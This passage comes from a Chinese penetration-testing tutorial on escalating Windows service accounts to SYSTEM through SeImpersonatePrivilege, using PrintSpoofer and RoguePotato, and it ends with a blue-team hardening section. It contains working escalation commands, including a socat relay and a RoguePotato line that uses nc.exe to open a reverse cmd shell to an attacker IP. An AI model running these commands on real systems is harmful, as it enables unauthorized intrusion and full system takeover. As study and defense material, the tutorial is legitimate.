Shell这个崩溃可以忽略。如果频繁崩溃且提权失败可能该CLSID极不稳定建议换一个。5.2 针对高版本系统1809的替代方案对于Windows 10 1809 / Server 2019及之后系统JuicyPotato的COM劫持路径被阻断但SeImpersonatePrivilege的威力仍在。主流替代方案有两个PrintSpoofer利用打印机后台处理程序服务Spooler的命名管道漏洞。它不需要CLSID命令极其简单且成功率很高。.\PrintSpoofer64.exe -i -c cmd 注意PrintSpoofer可能需要Visual C Redistributable运行库vcruntime140.dll。如果目标系统没有需要你一并上传该DLL到同一目录。RoguePotato可以看作是JuicyPotato的“升级版”它通过在攻击机上伪造一个OXID解析器监听135端口将目标系统的DCOM认证请求重定向回来从而绕过系统对非135端口的限制。使用起来稍复杂需要攻击机配合。攻击机socat tcp-listen:135,reuseaddr,fork tcp:目标机IP:9999目标机.\RoguePotato.exe -r 攻击机IP -e C:\temp\nc.exe 攻击机IP 4444 -e cmd.exe -l 9999方案选择建议在1809的系统上优先尝试PrintSpoofer因为它最简单直接不依赖攻击机设置。如果因运行库问题失败再考虑使用RoguePotato。5.3 防御视角如何防范此类提权作为蓝队或系统管理员了解攻击手法后加固措施就很有针对性最小权限原则检查所有服务账户尤其是IIS、SQL Server等的权限。在“本地安全策略”-“用户权限分配”中将SeImpersonatePrivilege和SeAssignPrimaryTokenPrivilege从这些服务账户中移除。这是最根本、最有效的防御方法。及时更新系统确保系统版本在1809以上并安装所有安全更新。这可以防御原始的JuicyPotato。禁用不必要的COM组件通过DCOMCNFG或注册表禁用那些非必需且可能被利用的COM组件CLSID。但这需要深厚的系统知识操作不当可能导致系统不稳定。启用Windows Defender等安全软件现代EDR/AV能够检测和阻断Potato家族工具的运行时行为。网络分段与监控监控服务器上异常进程创建特别是由dllhost.exe或服务账户发起的cmd.exe、powershell.exe和出站连接。从IIS这样一个低权限的服务账户通过SeImpersonatePrivilege和JuicyPotato这类工具一路攀升至SYSTEM整个过程充满了Windows安全机制内部各种特性碰撞的巧妙。它不仅仅是运行一个工具那么简单更是对Windows认证、令牌、COM/DCOM机制深入理解的一次实践。CLSID的博弈是这场实践中最磨人但也最体现经验价值的环节。希望这份详细的指南和避坑清单能让你在下一次遇到Windows服务账户时能够从容地完成这次华丽的权限跃迁。记住工具是固定的但思路和排查问题的能力才是安全研究的核心。当JuicyPotato失效时别忘了还有PrintSpoofer和RoguePotato在等着你而理解它们原理差异的过程会让你对Windows系统的认知再深一层。
